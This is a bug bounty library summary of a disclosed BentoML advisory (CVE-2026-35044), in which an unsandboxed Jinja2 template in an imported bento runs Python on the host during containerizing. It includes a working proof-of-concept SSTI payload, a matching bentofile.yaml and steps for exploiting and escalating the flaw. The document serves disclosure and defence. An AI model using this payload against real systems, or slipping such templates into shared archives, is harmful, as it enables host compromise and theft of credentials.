# BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation

BentoML renders attacker-supplied dockerfile_template with an unsandboxed Jinja2 Environment, so importing and containerizing a malicious bento executes Python on the host.

- Payout: Research
- Severity: high
- Program: BentoML
- Found by: offset
- Disclosed: 2026-04-03
- CVE: CVE-2026-35044
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v959-cwq9-7hr6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-v959-cwq9-7hr6
- Tags: area:oss domain:oss impact:data-leak impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:rce vuln:ssti

**Target:** Dockerfile generation (generate_containerfile) in BentoML CLI
**Root cause:** generate_containerfile() builds an unsandboxed jinja2.Environment with jinja2.ext.do and jinja2.ext.debug, then renders a user-controlled dockerfile_template embedded in the bento archive.
**Steps:**
1. Create evil.j2 with `{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}` inside the SETUP_BENTO_COMPONENTS block
2. Set `docker: dockerfile_template: ./evil.j2` in bentofile.yaml
3. Run `bentoml build` then `bentoml export myservice:latest bento.tar`
4. Victim runs `bentoml import bento.tar` then `bentoml containerize myservice:latest`
5. Template renders on host before Docker invocation; `cat /tmp/pwned` shows id output
**How found:** Code review of the container generation path: noticed the Environment was not sandboxed and included jinja2.ext.do/debug, then traced how a user-supplied dockerfile_template from an imported bento reaches template.render().
**Exploitation:** Attacker distributes a bento archive containing env/docker/Dockerfile.template; on victim's `bentoml containerize`, construct_containerfile sets dockerfile_template to that path and generate_containerfile renders it in the unsandboxed Environment, executing Python on the host with the victim's privileges before any container starts.
**Escalation:** Host RCE yields filesystem access, SSH keys, cloud tokens, env secrets, and potential CI/CD supply chain compromise.
**Insight:** Build/containerize tooling that renders user-supplied templates is a host-side SSTI surface distinct from docker.commands (which run inside the build container); check for jinja2.ext.do/debug and unsandboxed Environment in packaging CLIs.

## Proof of concept (copied exactly from the original report)

**Malicious Jinja2 template with SSTI payload**

```
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}
```

**bentofile.yaml referencing malicious template**

```
service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2
```

